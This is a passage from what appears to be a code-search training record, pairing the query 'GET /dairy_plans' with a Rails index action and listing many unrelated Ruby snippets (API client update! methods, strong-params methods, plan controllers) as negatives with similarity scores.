@foreground_color = args[:foreground_color] if args.key?(:foreground_color)\n @guests_can_invite_others = args[:guests_can_invite_others] if args.key?(:guests_can_invite_others)\n @guests_can_modify = args[:guests_can_modify] if args.key?(:guests_can_modify)\n @guests_can_see_guests = args[:guests_can_see_guests] if args.key?(:guests_can_see_guests)\n @habit_id = args[:habit_id] if args.key?(:habit_id)\n @habit_status = args[:habit_status] if args.key?(:habit_status)\n @html_link = args[:html_link] if args.key?(:html_link)\n @location = args[:location] if args.key?(:location)\n @meeting_contacts = args[:meeting_contacts] if args.key?(:meeting_contacts)\n @organizer = args[:organizer] if args.key?(:organizer)\n @other_attendees_excluded = args[:other_attendees_excluded] if args.key?(:other_attendees_excluded)\n @participation_response = args[:participation_response] if args.key?(:participation_response)\n @recurring_event_id = args[:recurring_event_id] if args.key?(:recurring_event_id)\n @rooms = args[:rooms] if args.key?(:rooms)\n @start = args[:start] if args.key?(:start)\n @summary = args[:summary] if args.key?(:summary)\n @visibility = args[:visibility] if args.key?(:visibility)\n end", "def demob_params\n params.require(:demob).permit(:resource_id, :remarks, :edd, :edt, :destination, :travel_method, \n :manifest, :manifest_number, :ron, :actual_release_date, :actual_release_time, \n :eta, :contact_enroute, :agency_notified, :reassigned, :new_incident, \n :new_incident_number, :new_order_number, :prepared_by, :pb_position, :date,\n :new_location, :time)\n end", "def update!(**args)\n @comment = args[:comment] if args.key?(:comment)\n @create = args[:create] if args.key?(:create)\n @delete = args[:delete] if args.key?(:delete)\n @dlp_change = args[:dlp_change] if args.key?(:dlp_change)\n @edit = args[:edit] if args.key?(:edit)\n @move = args[:move] if args.key?(:move)\n @permission_change = args[:permission_change] if args.key?(:permission_change)\n @reference = args[:reference] if args.key?(:reference)\n @rename = args[:rename] if args.key?(:rename)\n @restore = args[:restore] if args.key?(:restore)\n @settings_change = args[:settings_change] if args.key?(:settings_change)\n end", "def update!(**args)\n @additional_items = args[:additional_items] if args.key?(:additional_items)\n @additional_properties = args[:additional_properties] if args.key?(:additional_properties)\n @all_of = args[:all_of] if args.key?(:all_of)\n @any_of = args[:any_of] if args.key?(:any_of)\n @default = args[:default] if args.key?(:default)\n @definitions = args[:definitions] if args.key?(:definitions)\n @dependencies = args[:dependencies] if args.key?(:dependencies)\n @description = args[:description] if args.key?(:description)\n @enum = args[:enum] if args.key?(:enum)\n @example = args[:example] if args.key?(:example)\n @exclusive_maximum = args[:exclusive_maximum] if args.key?(:exclusive_maximum)\n @exclusive_minimum = args[:exclusive_minimum] if args.key?(:exclusive_minimum)\n @external_docs = args[:external_docs] if args.key?(:external_docs)\n @format = args[:format] if args.key?(:format)\n @id = args[:id] if args.key?(:id)\n @items = args[:items] if args.key?(:items)\n @max_items = args[:max_items] if args.key?(:max_items)\n @max_length = args[:max_length] if args.key?(:max_length)\n @max_properties = args[:max_properties] if args.key?(:max_properties)\n @maximum = args[:maximum] if args.key?(:maximum)\n @min_items = args[:min_items] if args.key?(:min_items)\n @min_length = args[:min_length] if args.key?(:min_length)\n @min_properties = args[:min_properties] if args.key?(:min_properties)\n @minimum = args[:minimum] if args.key?(:minimum)\n @multiple_of = args[:multiple_of] if args.key?(:multiple_of)\n @not = args[:not] if args.key?(:not)\n @one_of = args[:one_of] if args.key?(:one_of)\n @pattern = args[:pattern] if args.key?(:pattern)\n @pattern_properties = args[:pattern_properties] if args.key?(:pattern_properties)\n @properties = args[:properties] if args.key?(:properties)\n @ref = args[:ref] if args.key?(:ref)\n @required = args[:required] if args.key?(:required)\n @schema = args[:schema] if args.key?(:schema)\n @title = args[:title] if args.key?(:title)\n @type = args[:type] if args.key?(:type)\n @unique_items = args[:unique_items] if args.key?(:unique_items)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @error_type = args[:error_type] if args.key?(:error_type)\n @event_type = args[:event_type] if args.key?(:event_type)\n @expire_time = args[:expire_time] if args.key?(:expire_time)\n @id = args[:id] if args.key?(:id)\n @state = args[:state] if args.key?(:state)\n @target = args[:target] if args.key?(:target)\n end", "def update!(**args)\n @message = args[:message] if args.key?(:message)\n @pipeline_uid = args[:pipeline_uid] if args.key?(:pipeline_uid)\n @release_uid = args[:release_uid] if args.key?(:release_uid)\n @rollout = args[:rollout] if args.key?(:rollout)\n @target_id = args[:target_id] if args.key?(:target_id)\n @type = args[:type] if args.key?(:type)\n end", "def updated_data\n\tend", "def update!(**args)\n @label_ids = args[:label_ids] if args.key?(:label_ids)\n @message_key = args[:message_key] if args.key?(:message_key)\n @sync_ids = args[:sync_ids] if args.key?(:sync_ids)\n @thread_key = args[:thread_key] if args.key?(:thread_key)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @description = args[:description] if args.key?(:description)\n @disable_monitoring = args[:disable_monitoring] if args.key?(:disable_monitoring)\n @etag = args[:etag] if args.key?(:etag)\n @labels = args[:labels] if args.key?(:labels)\n @monitoring_config = args[:monitoring_config] if args.key?(:monitoring_config)\n @monitoring_stats = args[:monitoring_stats] if args.key?(:monitoring_stats)\n @monitoring_stats_anomalies = args[:monitoring_stats_anomalies] if args.key?(:monitoring_stats_anomalies)\n @name = args[:name] if args.key?(:name)\n @update_time = args[:update_time] if args.key?(:update_time)\n @value_type = args[:value_type] if args.key?(:value_type)\n end", "def update!(**args)\n @by_device_id = args[:by_device_id] if args.key?(:by_device_id)\n @copresenter_device_ids = args[:copresenter_device_ids] if args.key?(:copresenter_device_ids)\n @presenter_device_id = args[:presenter_device_id] if args.key?(:presenter_device_id)\n end", "def update!(**args)\n @device_arbitration_creation_timestamp_ms = args[:device_arbitration_creation_timestamp_ms] if args.key?(:device_arbitration_creation_timestamp_ms)\n @device_targeting_input_creation_timestamp_ms = args[:device_targeting_input_creation_timestamp_ms] if args.key?(:device_targeting_input_creation_timestamp_ms)\n @eliminated_by_further_distance = args[:eliminated_by_further_distance] if args.key?(:eliminated_by_further_distance)\n @eliminated_by_local_closest = args[:eliminated_by_local_closest] if args.key?(:eliminated_by_local_closest)\n @eliminated_by_unknown_different_room = args[:eliminated_by_unknown_different_room] if args.key?(:eliminated_by_unknown_different_room)\n @eliminated_by_unregistered_device = args[:eliminated_by_unregistered_device] if args.key?(:eliminated_by_unregistered_device)\n @local_device = args[:local_device] if args.key?(:local_device)\n @nearby_devices = args[:nearby_devices] if args.key?(:nearby_devices)\n @num_closest_devices = args[:num_closest_devices] if args.key?(:num_closest_devices)\n @num_equally_close_devices = args[:num_equally_close_devices] if args.key?(:num_equally_close_devices)\n @num_further_devices = args[:num_further_devices] if args.key?(:num_further_devices)\n @num_hearing_devices = args[:num_hearing_devices] if args.key?(:num_hearing_devices)\n @num_unknown_distance_devices = args[:num_unknown_distance_devices] if args.key?(:num_unknown_distance_devices)\n end", "def update!(**args)\n @action = args[:action] if args.key?(:action)\n @create_time = args[:create_time] if args.key?(:create_time)\n @description = args[:description] if args.key?(:description)\n @labels = args[:labels] if args.key?(:labels)\n @name = args[:name] if args.key?(:name)\n @rules = args[:rules] if args.key?(:rules)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "def update!(**args)\n @ack_status = args[:ack_status] if args.key?(:ack_status)\n @address = args[:address] if args.key?(:address)\n @alias_name = args[:alias_name] if args.key?(:alias_name)\n @allow_incoming_calls = args[:allow_incoming_calls] if args.key?(:allow_incoming_calls)\n @ambient_settings = args[:ambient_settings] if args.key?(:ambient_settings)\n @ancillary_device_id = args[:ancillary_device_id] if args.key?(:ancillary_device_id)\n @auto_framing_settings = args[:auto_framing_settings] if args.key?(:auto_framing_settings)\n @blue_steel_enabled = args[:blue_steel_enabled] if args.key?(:blue_steel_enabled)\n @capabilities = args[:capabilities] if args.key?(:capabilities)\n @city = args[:city] if args.key?(:city)\n @colocation_status = args[:colocation_status] if args.key?(:colocation_status)\n @creation_timestamp_ms = args[:creation_timestamp_ms] if args.key?(:creation_timestamp_ms)\n @cross_surface_availability = args[:cross_surface_availability] if args.key?(:cross_surface_availability)\n @default_audio_device_id = args[:default_audio_device_id] if args.key?(:default_audio_device_id)\n @default_video_device_id = args[:default_video_device_id] if args.key?(:default_video_device_id)\n @device_brand = args[:device_brand] if args.key?(:device_brand)\n @device_id = args[:device_id] if args.key?(:device_id)\n @device_model_id = args[:device_model_id] if args.key?(:device_model_id)\n @device_model_revision = args[:device_model_revision] if args.key?(:device_model_revision)\n @dusi = args[:dusi] if args.key?(:dusi)\n @face_enrollment_errors = args[:face_enrollment_errors] if args.key?(:face_enrollment_errors)\n @face_enrollment_status = args[:face_enrollment_status] if args.key?(:face_enrollment_status)\n @face_match_enabled = args[:face_match_enabled] if args.key?(:face_match_enabled)\n @gcm_settings = args[:gcm_settings] if args.key?(:gcm_settings)\n @home_graph_data = args[:home_graph_data] if args.key?(:home_graph_data)\n @home_graph_id = args[:home_graph_id] if args.key?(:home_graph_id)\n @hospitality_mode_status = args[:hospitality_mode_status] if args.key?(:hospitality_mode_status)\n @hotword_sensitivity = args[:hotword_sensitivity] if args.key?(:hotword_sensitivity)\n @hotword_threshold_adjustment_factor = args[:hotword_threshold_adjustment_factor] if args.key?(:hotword_threshold_adjustment_factor)\n @human_friendly_name = args[:human_friendly_name] if args.key?(:human_friendly_name)\n @internal_version = args[:internal_version] if args.key?(:internal_version)\n @is_cloud_sync_device = args[:is_cloud_sync_device] if args.key?(:is_cloud_sync_device)\n @is_device_activation_cache_enabled = args[:is_device_activation_cache_enabled] if args.key?(:is_device_activation_cache_enabled)\n @kids_mode = args[:kids_mode] if args.key?(:kids_mode)\n @last_cast_registration_timestamp = args[:last_cast_registration_timestamp] if args.key?(:last_cast_registration_timestamp)\n @last_used_coarse_timestamp = args[:last_used_coarse_timestamp] if args.key?(:last_used_coarse_timestamp)\n @linked_device_id = args[:linked_device_id] if args.key?(:linked_device_id)\n @linked_users = args[:linked_users] if args.key?(:linked_users)\n @locale = args[:locale] if args.key?(:locale)\n @location_coordinates = args[:location_coordinates] if args.key?(:location_coordinates)\n @location_feature = args[:location_feature] if args.key?(:location_feature)\n @marketplace_disclosure = args[:marketplace_disclosure] if args.key?(:marketplace_disclosure)\n @masquerade_mode = args[:masquerade_mode] if args.key?(:masquerade_mode)\n @notification_profile = args[:notification_profile] if args.key?(:notification_profile)\n @oauth_client_id = args[:oauth_client_id] if args.key?(:oauth_client_id)\n @on_device_app_settings = args[:on_device_app_settings] if args.key?(:on_device_app_settings)\n @opt_in_status = args[:opt_in_status] if args.key?(:opt_in_status)\n @payments_enabled = args[:payments_enabled] if args.key?(:payments_enabled)\n @personalization_metadata = args[:personalization_metadata] if args.key?(:personalization_metadata)\n @polite_mode = args[:polite_mode] if args.key?(:polite_mode)\n @postal_code = args[:postal_code] if args.key?(:postal_code)\n @reauth_trusted_device_settings = args[:reauth_trusted_device_settings] if args.key?(:reauth_trusted_device_settings)\n @shortened_address = args[:shortened_address] if args.key?(:shortened_address)\n @speaker_id_enabled = args[:speaker_id_enabled] if args.key?(:speaker_id_enabled)\n @speech_output_settings = args[:speech_output_settings] if args.key?(:speech_output_settings)\n @speech_settings = args[:speech_settings] if args.key?(:speech_settings)\n @supervision_settings = args[:supervision_settings] if args.key?(:supervision_settings)\n @surface_type = args[:surface_type] if args.key?(:surface_type)\n @tethered_info = args[:tethered_info] if args.key?(:tethered_info)\n @time_zone = args[:time_zone] if args.key?(:time_zone)\n @truncated_local_network_id = args[:truncated_local_network_id] if args.key?(:truncated_local_network_id)\n @type = args[:type] if args.key?(:type)\n @verbose_tts_for_chromecast_enabled = args[:verbose_tts_for_chromecast_enabled] if args.key?(:verbose_tts_for_chromecast_enabled)\n @vm_last_used_coarse_timestamp = args[:vm_last_used_coarse_timestamp] if args.key?(:vm_last_used_coarse_timestamp)\n @voice_enrollment_status = args[:voice_enrollment_status] if args.key?(:voice_enrollment_status)\n @voice_input_enabled = args[:voice_input_enabled] if args.key?(:voice_input_enabled)\n end", "def update!(**args)\n @account_id = args[:account_id] if args.key?(:account_id)\n @auto_event_filter = args[:auto_event_filter] if args.key?(:auto_event_filter)\n @check_validation = args[:check_validation] if args.key?(:check_validation)\n @container_id = args[:container_id] if args.key?(:container_id)\n @continuous_time_min_milliseconds = args[:continuous_time_min_milliseconds] if args.key?(:continuous_time_min_milliseconds)\n @custom_event_filter = args[:custom_event_filter] if args.key?(:custom_event_filter)\n @event_name = args[:event_name] if args.key?(:event_name)\n @filter = args[:filter] if args.key?(:filter)\n @fingerprint = args[:fingerprint] if args.key?(:fingerprint)\n @horizontal_scroll_percentage_list = args[:horizontal_scroll_percentage_list] if args.key?(:horizontal_scroll_percentage_list)\n @interval = args[:interval] if args.key?(:interval)\n @interval_seconds = args[:interval_seconds] if args.key?(:interval_seconds)\n @limit = args[:limit] if args.key?(:limit)\n @max_timer_length_seconds = args[:max_timer_length_seconds] if args.key?(:max_timer_length_seconds)\n @name = args[:name] if args.key?(:name)\n @parameter = args[:parameter] if args.key?(:parameter)\n @parent_folder_id = args[:parent_folder_id] if args.key?(:parent_folder_id)\n @selector = args[:selector] if args.key?(:selector)\n @total_time_min_milliseconds = args[:total_time_min_milliseconds] if args.key?(:total_time_min_milliseconds)\n @trigger_id = args[:trigger_id] if args.key?(:trigger_id)\n @type = args[:type] if args.key?(:type)\n @unique_trigger_id = args[:unique_trigger_id] if args.key?(:unique_trigger_id)\n @vertical_scroll_percentage_list = args[:vertical_scroll_percentage_list] if args.key?(:vertical_scroll_percentage_list)\n @visibility_selector = args[:visibility_selector] if args.key?(:visibility_selector)\n @visible_percentage_max = args[:visible_percentage_max] if args.key?(:visible_percentage_max)\n @visible_percentage_min = args[:visible_percentage_min] if args.key?(:visible_percentage_min)\n @wait_for_tags = args[:wait_for_tags] if args.key?(:wait_for_tags)\n @wait_for_tags_timeout = args[:wait_for_tags_timeout] if args.key?(:wait_for_tags_timeout)\n end", "def deuda_params\n params.require(:deuda).permit(:nombre, :correo, :telefono, :valor, :interes, :descripcion, :tipo, :usuario)\n end", "def update!(**args)\n @deliver_by_date = args[:deliver_by_date] if args.key?(:deliver_by_date)\n @line_item_id = args[:line_item_id] if args.key?(:line_item_id)\n @product_id = args[:product_id] if args.key?(:product_id)\n @ship_by_date = args[:ship_by_date] if args.key?(:ship_by_date)\n end", "def update!(**args)\n @avail_group_id = args[:avail_group_id] if args.key?(:avail_group_id)\n @channel_id = args[:channel_id] if args.key?(:channel_id)\n @content_type = args[:content_type] if args.key?(:content_type)\n @country = args[:country] if args.key?(:country)\n @custom_id = args[:custom_id] if args.key?(:custom_id)\n @dvd_release_date = args[:dvd_release_date] if args.key?(:dvd_release_date)\n @est_dates = args[:est_dates] if args.key?(:est_dates)\n @events = args[:events] if args.key?(:events)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @movie = args[:movie] if args.key?(:movie)\n @original_release_date = args[:original_release_date] if args.key?(:original_release_date)\n @priority = args[:priority] if args.key?(:priority)\n @production_house = args[:production_house] if args.key?(:production_house)\n @purchase_order = args[:purchase_order] if args.key?(:purchase_order)\n @requirements = args[:requirements] if args.key?(:requirements)\n @show = args[:show] if args.key?(:show)\n @status = args[:status] if args.key?(:status)\n @video_id = args[:video_id] if args.key?(:video_id)\n @vod_dates = args[:vod_dates] if args.key?(:vod_dates)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @dedicated_resources = args[:dedicated_resources] if args.key?(:dedicated_resources)\n @name = args[:name] if args.key?(:name)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @description = args[:description] if args.key?(:description)\n @duration = args[:duration] if args.key?(:duration)\n @instance_filter = args[:instance_filter] if args.key?(:instance_filter)\n @last_execute_time = args[:last_execute_time] if args.key?(:last_execute_time)\n @name = args[:name] if args.key?(:name)\n @one_time_schedule = args[:one_time_schedule] if args.key?(:one_time_schedule)\n @patch_config = args[:patch_config] if args.key?(:patch_config)\n @recurring_schedule = args[:recurring_schedule] if args.key?(:recurring_schedule)\n @rollout = args[:rollout] if args.key?(:rollout)\n @state = args[:state] if args.key?(:state)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @function_set = args[:function_set] if args.key?(:function_set)\n @last_modify_user = args[:last_modify_user] if args.key?(:last_modify_user)\n @name = args[:name] if args.key?(:name)\n @source = args[:source] if args.key?(:source)\n @type = args[:type] if args.key?(:type)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end", "def update!(**args)\n end" ]
[ "0.61294025", "0.58743984", "0.5829069", "0.5815044", "0.5808111", "0.5784111", "0.57625055", "0.57401234", "0.56835395", "0.5667101", "0.56587625", "0.56413907", "0.56222713", "0.5607583", "0.55950594", "0.5585658", "0.5584783", "0.5583478", "0.5568475", "0.55607265", "0.5560273", "0.55430937", "0.55423266", "0.55356544", "0.5526875", "0.5525898", "0.55209494", "0.55209494", "0.5520749", "0.5517516", "0.5517064", "0.5517064", "0.55066997", "0.55004674", "0.5499632", "0.54956955", "0.54896766", "0.5484301", "0.5481298", "0.54767686", "0.5476745", "0.5475517", "0.54750264", "0.5468789", "0.54637706", "0.54543996", "0.54543996", "0.54543954", "0.5453607", "0.544735", "0.54452413", "0.5434729", "0.5428038", "0.5420155", "0.54185754", "0.54184145", "0.54126436", "0.54115593", "0.54115206", "0.54070556", "0.5400995", "0.5400585", "0.5397201", "0.53943884", "0.5390525", "0.53892004", "0.53879845", "0.53827465", "0.53815407", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295", "0.53737295" ]
0.0
-1
GET /dairy_plans GET /dairy_plans.json
def index @dairy_plans = DairyPlan.where(:student_id => @student.id) respond_to do |format| format.html # index.html.erb format.json { render json: @dairy_plans } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def plans(params = {})\n scope 'default'\n get('plans/', params)\n end", "def index\n @plans = Plan.all\n\n render json: @plans\n end", "def show\n @plans = Stripe::Plan.all\n end", "def index\n @plans = Plan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plans }\n end\n end", "def show\n @plan = Plan.find(params[:id])\n\n render json: @plan\n end", "def show\n render json: @plan\n end", "def index\n respond_with(@plans = Plan.all)\n end", "def show\n @plans = @event.plans\n \n respond_to do |format|\n format.html {}\n format.json { render json: @event.to_json}\n end\n end", "def fetch_plans (id = nil)\n @plans = []\n parameters = {}\n @networks_by_plan = {}\n parameters[:_profile] = 'http://hl7.org/fhir/us/davinci-pdex-plan-net/StructureDefinition/plannet-InsurancePlan' \n if(id)\n parameters[:_id] = id\n end\n\n @client.search(\n FHIR::InsurancePlan,\n search: { parameters: parameters }\n )&.resource&.entry&.map do |entry|\n @plans << {\n value: entry&.resource&.id,\n name: entry&.resource&.name\n }\n @networks_by_plan [ entry&.resource&.id] = entry&.resource&.network\n end\n @plans.sort_by! { |hsh| hsh[:name] }\n rescue => exception\n redirect_to root_path, flash: { error: 'Please specify a plan network server' }\n\n end", "def index\n plan = Plan.find_by(url:params[:plan_id])\n stories = plan.stories\n render json: stories\n end", "def index\n @plans = Plan.all\n end", "def index\n @plans = Plan.all\n end", "def index\n @care_plans = CarePlan.all\n render json: @care_plans\n end", "def show\n @plan = Plan.find(params[:id])\n @plan_days = @plan.plan_days\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan }\n end\n end", "def all_plans\n file = File.read('./data/bundle.json')\n plan_hash = JSON.parse(file)\n plans = plan_hash['plans']\n end", "def new\n @dairy_plan = DairyPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dairy_plan }\n end\n end", "def pharmacy_plans(params = {})\n response = default_scope.get('pharmacy/plans') do |request|\n request.params = params\n end\n JSON.parse(response.body)\n end", "def index\n\n @goals = Goal.by_person_as_student(current_user.person)\n @goals = @goals.by_plan(params[:plan_id]) if params[:plan_id].present?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @goals }\n end\n end", "def show\n @panel_plan = Panel::Plan.find(params[:id])\n @features = Panel::Planfeature.where(:panel_plan_id => params[:id]).all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @panel_plan }\n end\n end", "def index\n @floor_plans = @product.floor_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @floor_plans }\n end\n end", "def show\n @test_plan = TestPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_plan }\n end\n end", "def show\n @lunchplan = Lunchplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @lunchplan }\n end\n end", "def show\n @work_plan = WorkPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_plan }\n end\n end", "def index\n @site_plans = @product.site_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @site_plans }\n end\n end", "def show(project_token = @project_token, id = @id, user = @@default_user)\n @attributes = send_request(\"test_plans/#{id}\", :get) do |req|\n req.params = {\n token: project_token,\n auth_token: user.auth_token\n }\n end\n end", "def index\n @test_plans = @project.test_plans\n end", "def show\n @planitem = Planitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planitem }\n end\n end", "def index\n @page_plans = PagePlan.all\n end", "def show\r\n @work_plan = WorkPlan.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @work_plan }\r\n end\r\n end", "def show\n @planner = Planner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planner }\n end\n end", "def show\n @plantype_strategy = PlantypeStrategy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plantype_strategy }\n end\n end", "def url\n resource.url + '/application_plans'\n end", "def plan\n data['plans'][me]\n end", "def index\n @billing_plans = BillingPlan.all\n end", "def show\n render json: @care_plan\n end", "def show\n @sslplan = Sslplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sslplan }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_plan }\n end\n end", "def payer_plans\n payerplan_type = \"http://hl7.org/fhir/us/davinci-pdex-plan-net/CodeSystem/InsuranceProductTypeCS|\"\n reply = @client.search(FHIR::InsurancePlan, search: { parameters: { type: payerplan_type } }).resource\n @payersbyid = build_payer_plans(reply)\n session[:payersbyid] = compress_hash(@payersbyid.to_json)\n\n # Prepare the query string for display on the page\n @search = URI.decode(reply.link.select { |l| l.relation === \"self\" }.first.url) if reply.link.first\n session[:payersplan_query] = @search\n rescue => exception\n puts \"payer plans fails: #{exception}\"\n @payersbyid ||= {}\n end", "def index\n @meal_plans = MealPlan.all\n end", "def show\n set_client_profile(@plan)\n @goals = @plan.goals\n @tasks = @plan.tasks\n end", "def show\n @plans = Plan.find(params[:id])\n @foods = Food.all\n end", "def read_service_plans()\n @client.service_plans\n end", "def index\n @lesson_plans = current_user.lesson_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lesson_plans }\n end\n end", "def show\n @klassplan = Klassplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @klassplan }\n end\n end", "def show\n @exercise_plan = ExercisePlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_plan }\n end\n end", "def show\n @plan = Plan.find(params[:id])\n end", "def plans\r\n @plans ||= PlansController.new(configuration: @configuration)\r\n end", "def index\n @plans = Plan.where(user_id: current_user.id)\n end", "def get_dunning_plans_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DunningPlanApi.get_dunning_plans ...\"\n end\n # resource path\n local_var_path = \"/v1/dunning_plan\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<DunningPlan>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DunningPlanApi#get_dunning_plans\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n\n # Get base API Connection\n @graph = Koala::Facebook::API.new(session[:access_token])\n\n # Get public details of current application\n #@app = @graph.get_object(ENV[\"FACEBOOK_APP_ID\"])\n\n\n @user = User.find(params[:id])\n @plans = @user.plans.all\n\n @upcoming_plans = @user.plans.find(:all, :conditions => [\"plandate >= ?\", Date.today]).sort_by { |obj| obj.plandate }\n #@past_plans = @user.plans.find(:all, :conditions => [\"plandate < ?\", Date.today]).sort_by { |obj| obj.plandate }\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "def show\n set_client_profile(@goal)\n @plans = @goal.plans\n @tasks = @plans.map(&:tasks).flatten.uniq\n\n\n @needs = @goal.needs\n end", "def list_plans(filter: nil)\n {\n plans: filter_content(pal.list_plans_with_cache(filter_content: true), filter),\n modulepath: pal.user_modulepath\n }\n end", "def index\n @ad_plans = AdPlan.all\n \n end", "def index\n @flightplans = Flightplan.all\n end", "def index\n @mealplans = Mealplan.all\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @floor_plan }\n end\n end", "def index\n @payment_plans = PaymentPlan.all\n end", "def show\n @plantype = Plantype.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plantype }\n end\n end", "def index\n @doctor_work_plans = WorkPlan.joins(:clinic_doctor).where('doctor_id = ?', current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @doctor_work_plans }\n end\n end", "def index\n respond_with(end_user_plans)\n end", "def index\n @panel_billings = Panel::Billing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @panel_billings }\n end\n end", "def index\n @work_plans = WorkPlan.includes(:clinic_doctor).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @work_plans }\n end\n end", "def index\n @goals = @user.goals\n \n render json: @goals\n end", "def plans\n return @plans\n end", "def index\n @plan = Plan.new\n @incident = Incident.find(params[:incident_id])\n @plans = Plan.where(incident_id: @incident.id).order(date: :desc)\n end", "def get_plansbyid\n if session[:plansbyid]\n @plansbyid = JSON.parse(decompress_hash(session[:plansbyid])).deep_symbolize_keys\n @locationsbyid = JSON.parse(decompress_hash(session[:locationsbyid])).deep_symbolize_keys\n @cp_options = decompress_hash(session[:cp_options])\n @search = session[:query]\n else\n puts \"get_plansbyid: session[:plansbyid] is #{session[:plansbyid]}, calling coverage_plans \"\n coverage_plans\n end\n end", "def show\n @planned_time = PlannedTime.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planned_time }\n end\n end", "def show\n @goal = Goal.find(params[:id])\n render json: @goal\n end", "def index\n @art_plans = current_user.art_plans\n end", "def new\n @panel_plan = Panel::Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @panel_plan }\n end\n end", "def show\n @ecommerceplan = Ecommerceplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ecommerceplan }\n end\n end", "def plan(accountname)\n response = get_request(\"/users/#{accountname}/plan\")\n end", "def plan(accountname)\n response = get_request(\"/users/#{accountname}/plan\")\n end", "def index\n @plans = Plan.order('created_at desc')\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @plans }\n end\n end", "def show\n set_client_profile(@need)\n @goals = @need.goals\n @plans = @goals.map(&:plans).flatten.uniq\n @tasks = @plans.map(&:tasks).flatten.uniq\n respond_to do |format|\n format.html{}\n format.pdf{}\n format.js{\n\n }\n end\n end", "def retrieve_plan_list\n options = { limit: 100 }\n options[:offset] = @offset if @offset.present?\n ChargeBee::Plan.list(options)\n end", "def goals\n assessment_type = params[:assessment_type]\n country_name = params[:country_name]\n technical_area_ids = params[:areas].to_s.split(\"-\")\n @disease_ids = params[:diseases]\n country = Country.find_by_name country_name\n @publication = AssessmentPublication.find_by_named_id assessment_type\n if country.present? && @publication.present?\n @assessment =\n Assessment.deep_load(country.try(:alpha3), @publication.try(:id))\n end\n if @assessment.blank?\n render \"assessment_not_found\"\n return\n end\n @plan =\n Plan.new_from_assessment(\n assessment: @assessment,\n technical_area_ids: technical_area_ids,\n is_5_year_plan: params[:plan_term]&.start_with?(\"5\")\n )\n end", "def show\n @panel_billing 